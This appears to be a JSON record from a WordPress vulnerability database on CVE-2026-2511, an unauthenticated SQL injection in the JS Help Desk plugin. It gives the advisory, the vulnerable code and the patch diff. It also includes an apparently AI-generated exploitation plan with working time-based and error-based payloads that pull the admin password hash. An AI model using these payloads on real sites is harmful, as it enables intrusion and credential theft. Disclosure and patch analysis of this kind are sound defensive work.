[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJ0sRo4j1nuMyv08iTXqb3uIiAvcbF1YAw0tVfwuuR5I":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-2511","js-help-desk-ai-powered-support-ticketing-system-unauthenticated-sql-injection-via-multiformid-parameter","JS Help Desk – AI-Powered Support & Ticketing System \u003C= 3.0.4 - Unauthenticated SQL Injection via 'multiformid' Parameter","The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection via the `multiformid` parameter in the `storeTickets()` function in all versions up to, and including, 3.0.4. This is due to the user-supplied `multiformid` value being passed to `esc_sql()` without enclosing the result in quotes in the SQL query, rendering the escaping ineffective against payloads that do not contain quote characters. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","js-support-ticket",null,"\u003C=3.0.4","3.0.5","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-25 00:00:00","2026-03-26 13:26:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2959c04a-70bd-4f5c-a61a-1eab2609f8ef?source=api-prod",2,[22,23,24,25,26],"includes\u002Factivation.php","js-support-ticket.php","modules\u002Ffieldordering\u002Fmodel.php","modules\u002Fjssupportticket\u002Fcontroller.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-2511\n\n## 1. Vulnerability Summary\nThe **JS Help Desk – AI-Powered Support & Ticketing System** plugin (up to version 3.0.4) is vulnerable to an unauthenticated SQL Injection. The vulnerability exists in the `storeTickets()` function (typically located in the `Ticket` model\u002Fcontroller) where the `multiformid` parameter is processed. \n\nThe root cause is the improper use of `esc_sql()`: the user-supplied value is passed through `esc_sql()` but is **not enclosed in single quotes** within the resulting SQL query string. This allows an attacker to break out of the intended query logic using SQL keywords (like `UNION`, `AND`, `OR`) that do not require quotes to function, bypassing the escaping mechanism entirely.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: WordPress Frontend (any page containing the `[jssupportticket_addticket]` shortcode or the main `[jssupportticket]` control panel).\n- **Hook**: `the_content` filter (registered in `js-support-ticket.php` as `checkRequest`).\n- **Authentication**: Unauthenticated (the plugin allows \"Visitors\" to create tickets by default).\n- **Vulnerable Parameter**: `multiformid` (sent via POST).\n- **Preconditions**: \n    1. The plugin must be active.\n    2. A page must be published with the `[jssupportticket_addticket]` shortcode to expose the form and nonces.\n\n## 3. Code Flow\n1. **Entry Point**: A `POST` request is sent to a page where `the_content` is filtered by the plugin.\n2. **Routing**: `jssupportticket::checkRequest()` identifies the request via `jstmod=ticket` and `jstlay=addticket` parameters.\n3. **Controller**: The request is routed to `JSSTticketController::handleRequest()`.\n4. **Trigger**: When `$_POST['form_request']` is set to `jssupportticket`, the controller initiates the ticket saving process.\n5. **Vulnerable Sink**: `JSSTticketModel::storeTickets()` (or a similar field-ordering function called during ticket validation) retrieves `multiformid` from the request.\n6. **SQL Execution**: The code constructs a query similar to:\n   ```php\n   \u002F\u002F Pattern observed in fieldordering\u002Fmodel.php:\n   $jsst_inquery = \" AND multiformid = \" . esc_sql($jsst_formid);\n   $jsst_query = \"SELECT * FROM ... WHERE ... \" . $jsst_inquery;\n   ```\n7. **Injection**: Since `$jsst_formid` is not wrapped in quotes, a payload like `1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)` is appended directly to the query.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses a nonce named `jsst_nonce` for form submissions. This nonce is generated in `JSSTjssupportticketController::handleRequest` and typically embedded as a hidden field in the ticket creation form.\n\n**Strategy**:\n1. Identify the page ID containing the ticket creation form.\n2. Navigate to the page using `browser_navigate`.\n3. Extract the nonce using `browser_eval`.\n\n**JavaScript to extract nonce**:\n```javascript\n\u002F\u002F Look for the hidden input field usually named 'jsst_nonce'\ndocument.querySelector('input[name=\"jsst_nonce\"]')?.value;\n```\n\n## 5. Exploitation Strategy\nWe will perform a **Time-Based Blind SQL Injection** to confirm the vulnerability and then an **Error-Based** or **UNION-Based** extraction if the environment permits.\n\n### Step 1: Confirmation (Time-Based)\n**URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Findex.php?jstmod=ticket&jstlay=addticket`\n**Method**: `POST`\n**Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n**Body Parameters**:\n- `jstmod`: `ticket`\n- `jstlay`: `addticket`\n- `form_request`: `jssupportticket`\n- `jsst_nonce`: `[EXTRACTED_NONCE]`\n- `multiformid`: `1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)`\n- `jssupportticket_subject`: `Test Subject`\n- `jssupportticket_message`: `Test Message`\n\n### Step 2: Data Extraction (Error-Based)\nIf `WP_DEBUG` is enabled or the plugin reflects database errors:\n**Payload for `multiformid`**:\n`1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)`\n\n## 6. Test Data Setup\n1. **Activate Plugin**: Ensure `js-support-ticket` is active.\n2. **Create Trigger Page**:\n   ```bash\n   wp post create --post_type=page --post_title=\"Create Ticket\" --post_status=publish --post_content='[jssupportticket_addticket]'\n   ```\n3. **Verify Settings**: Ensure visitor ticket creation is enabled (default).\n\n## 7. Expected Results\n- **Confirmation**: The `POST` request with the `SLEEP(5)` payload should take approximately 5 seconds longer to respond than a standard request.\n- **Extraction**: If using error-based techniques, the response body will contain the admin password hash (e.g., `XPATH syntax error: '~$P$B...'`).\n\n## 8. Verification Steps\nAfter the exploit, confirm the database was queried correctly:\n1. Check the WordPress database for the existence of the tables created in `activation.php` (e.g., `wp_js_ticket_fieldsordering`).\n2. Use `wp-cli` to check for any newly created \"test\" tickets that might have been partially saved despite the injection:\n   ```bash\n   wp db query \"SELECT * FROM wp_js_ticket_tickets ORDER BY id DESC LIMIT 1;\"\n   ```\n\n## 9. Alternative Approaches\nIf the `storeTickets` sink is hardened or requires specific fields, target the `fieldordering` list which uses the same vulnerable pattern:\n- **Endpoint**: `admin-ajax.php` or Frontend routing.\n- **Module**: `fieldordering`\n- **Layout**: `fieldordering`\n- **Parameter**: `formid` (mapped to `multiformid` in `modules\u002Ffieldordering\u002Fmodel.php`).\n\n**Note on `esc_sql()`**: The plugin uses `esc_sql()` in several places without quotes. If the `storeTickets` path fails, `JSSTfieldorderingModel::getFieldOrderingForList` is a secondary target where `multiformid` is concatenated directly into a `SELECT *` query.","The JS Help Desk plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'multiformid' parameter. This occurs because user-supplied input is passed to esc_sql() but concatenated into queries without quote encapsulation, allowing attackers to manipulate SQL logic using numeric-based or time-based payloads to extract sensitive database information.","\u002F\u002F modules\u002Ffieldordering\u002Fmodel.php line 13\n$jsst_formid = jssupportticket::$jsst_data['formid'];\nif (isset($jsst_formid) && $jsst_formid != null) {\n    $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_formid);\n}\n\n---\n\n\u002F\u002F modules\u002Ffieldordering\u002Fmodel.php line 164\nif ($jsst_fieldfor == 1) {\n    $jsst_query .= \" AND multiformid =  \" . esc_sql($jsst_formid);\n}\n\n---\n\n\u002F\u002F modules\u002Ffieldordering\u002Fmodel.php line 181\n$jsst_query = \"SELECT required FROM `\" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering` WHERE \".$jsst_published.\" AND fieldfor =  1 AND  field =  '\".esc_sql($jsst_field).\"' AND multiformid =  \" . esc_sql($jsst_formid);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjs-support-ticket\u002F3.0.4\u002Fmodules\u002Ffieldordering\u002Fmodel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjs-support-ticket\u002F3.0.5\u002Fmodules\u002Ffieldordering\u002Fmodel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjs-support-ticket\u002F3.0.4\u002Fmodules\u002Ffieldordering\u002Fmodel.php\t2026-02-13 04:32:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fjs-support-ticket\u002F3.0.5\u002Fmodules\u002Ffieldordering\u002Fmodel.php\t2026-02-17 04:23:24.000000000 +0000\n@@ -11,7 +11,7 @@\n         }\n \t    $jsst_formid = jssupportticket::$jsst_data['formid'];\n         if (isset($jsst_formid) && $jsst_formid != null) {\n-            $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_formid);\n+            $jsst_inquery = \" AND multiformid = \".intval($jsst_formid);\n         }\n     \telse{\n             $jsst_inquery = \" AND multiformid = \".JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();\n@@ -162,7 +162,7 @@\n         }\n         $jsst_query = \"SELECT  * FROM `\" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering` WHERE \".$jsst_published.\" AND fieldfor =  \" . esc_sql($jsst_fieldfor);\n         if ($jsst_fieldfor == 1) {\n-            $jsst_query .= \" AND multiformid =  \" . esc_sql($jsst_formid);\n+            $jsst_query .= \" AND multiformid =  \" . intval($jsst_formid);\n         }\n         $jsst_query .=  esc_sql($jsst_adminonly) . \" ORDER BY ordering \";\n         jssupportticket::$jsst_data['fieldordering'] = jssupportticket::$_db->get_results($jsst_query);\n@@ -178,7 +178,7 @@\n         } else {\n             $jsst_published = ' published = 1 ';\n         }\n-        $jsst_query = \"SELECT required FROM `\" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering` WHERE \".$jsst_published.\" AND fieldfor =  1 AND  field =  '\".esc_sql($jsst_field).\"' AND multiformid =  \" . esc_sql($jsst_formid);\n+        $jsst_query = \"SELECT required FROM `\" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering` WHERE \".$jsst_published.\" AND fieldfor =  1 AND  field =  '\".esc_sql($jsst_field).\"' AND multiformid =  \" . intval($jsst_formid);\n         $jsst_required = jssupportticket::$_db->get_var($jsst_query);\n         return $jsst_required;\n     }\n@@ -601,7 +601,7 @@\n             $jsst_parent = jssupportticket::$_db->get_var($jsst_query);\n             $jsst_wherequery = ' OR id = '.esc_sql($jsst_parent);\n         }\n-        $jsst_query = \"SELECT fieldtitle AS text ,id FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE fieldfor = \".esc_sql($jsst_fieldfor).\" AND multiformid = \".esc_sql($jsst_formid).\" AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' \".esc_sql($jsst_wherequery).\" ) \";\n+        $jsst_query = \"SELECT fieldtitle AS text ,id FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE fieldfor = \".esc_sql($jsst_fieldfor).\" AND multiformid = \".intval($jsst_formid).\" AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' \".esc_sql($jsst_wherequery).\" ) \";\n         $jsst_data = jssupportticket::$_db->get_results($jsst_query);\n         if(isset($jsst_parentfield) && $jsst_parentfield !='' ){\n             $jsst_query = \"SELECT id FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE fieldfor = \".esc_sql($jsst_fieldfor).\" AND (userfieldtype = 'radio' OR userfieldtype = 'combo'OR userfieldtype = 'depandant_field') AND depandant_field = '\" . esc_sql($jsst_parentfield) . \"' \";\n@@ -1029,7 +1029,7 @@\n             $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();\n             $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_defaultformid);\n         } elseif (isset($jsst_formid) && $jsst_formid != '') {\n-            $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_formid);\n+            $jsst_inquery = \" AND multiformid = \".intval($jsst_formid);\n         }\n         $jsst_query = \"SELECT field,fieldtitle FROM `\" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering` WHERE fieldfor = \" . esc_sql($jsst_fieldfor) . $jsst_published;\n         $jsst_query .= $jsst_inquery;\n@@ -1069,7 +1069,7 @@\n             $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();\n             $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_defaultformid);\n         } elseif (isset($jsst_formid) && $jsst_formid != '') {\n-            $jsst_inquery = \" AND multiformid = \".esc_sql($jsst_formid);\n+            $jsst_inquery = \" AND multiformid = \".intval($jsst_formid);\n         }\n         $jsst_query = \"SELECT field, showonlisting FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE showonlisting = 1 AND fieldfor =  \" . esc_sql($jsst_fieldfor) . esc_sql($jsst_published);\n         $jsst_query .= $jsst_inquery;\n@@ -1088,7 +1088,7 @@\n             $jsst_query .= \" ORDER BY m.is_default DESC, f.ordering ASC\";\n         } else {\n             $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();\n-            $jsst_formFilter = \" AND f.multiformid = \" . esc_sql($jsst_formid);\n+            $jsst_formFilter = \" AND f.multiformid = \" . intval($jsst_formid);\n             $jsst_query = \"SELECT f.field, f.fieldtitle FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering f WHERE f.search_admin = 1 AND f.published = 1 AND (f.isuserfield IS NULL OR f.isuserfield != 1) \";\n             $jsst_query .= $jsst_formFilter;\n             $jsst_query .= \" ORDER BY f.ordering ASC\";\n@@ -1118,7 +1118,7 @@\n             $jsst_query .= \" ORDER BY m.is_default DESC, f.ordering ASC\";\n         } else {\n             $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();\n-            $jsst_formFilter = \" AND f.multiformid = \" . esc_sql($jsst_formid);\n+            $jsst_formFilter = \" AND f.multiformid = \" . intval($jsst_formid);\n             \u002F\u002F Query with LEFT JOIN and ordering to prioritize default form\n             $jsst_query = \"SELECT f.field, f.fieldtitle FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering f WHERE f.search_user = 1 AND \".$jsst_published.\" AND (f.isuserfield IS NULL OR f.isuserfield != 1)\";\n             $jsst_query .= $jsst_formFilter;\n@@ -1147,7 +1147,7 @@\n         } else {\n             $jsst_published = ' published = 1 ';\n         }\n-        $jsst_query = \"SELECT field, showonlisting FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE \".$jsst_published.\" AND fieldfor = 1 AND multiformid =  \" . esc_sql($jsst_formid) ;\n+        $jsst_query = \"SELECT field, showonlisting FROM \" . jssupportticket::$_db->prefix . \"js_ticket_fieldsordering WHERE \".$jsst_published.\" AND fieldfor = 1 AND multiformid =  \" . intval($jsst_formid) ;\n         $jsst_fields = jssupportticket::$_db->get_results($jsst_query);\n         $jsst_fielddata = array();\n         foreach ($jsst_fields AS $jsst_field) {","1. Identify a public page on the target WordPress site that includes the ticket creation form (shortcode [jssupportticket_addticket]).\n2. View the page source or use the browser console to extract the value of the hidden 'jsst_nonce' input field.\n3. Construct a POST request to the page URL with the following body parameters: 'jstmod=ticket', 'jstlay=addticket', 'form_request=jssupportticket', 'jsst_nonce=[EXTRACTED_NONCE]', and the malicious payload in the 'multiformid' parameter.\n4. To confirm vulnerability, use a time-based payload for 'multiformid': '1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)'. A delayed response confirms the SQL injection.\n5. For data extraction, use error-based payloads (if database errors are reflected) or boolean-based payloads to iteratively extract sensitive data such as admin password hashes.","gemini-3-flash-preview","2026-04-17 22:55:48","2026-04-17 22:56:29",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.0.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags\u002F3.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjs-support-ticket.3.0.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags\u002F3.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjs-support-ticket.3.0.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags"]